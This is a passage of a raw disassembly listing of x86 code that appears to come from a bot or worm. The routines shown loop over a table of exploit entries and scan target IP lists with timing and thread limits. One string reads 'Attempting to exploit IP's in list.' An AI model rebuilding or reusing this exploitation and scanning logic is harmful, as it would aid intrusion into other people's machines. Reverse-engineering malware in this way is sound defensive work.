		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DE30
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CE78
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CE40
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41EF48
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CE2C
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CDE8
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte ptr aJeP[eax]	; "†…ØÝ¯"
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CEA4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41CF50
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CF20
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CEDC
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
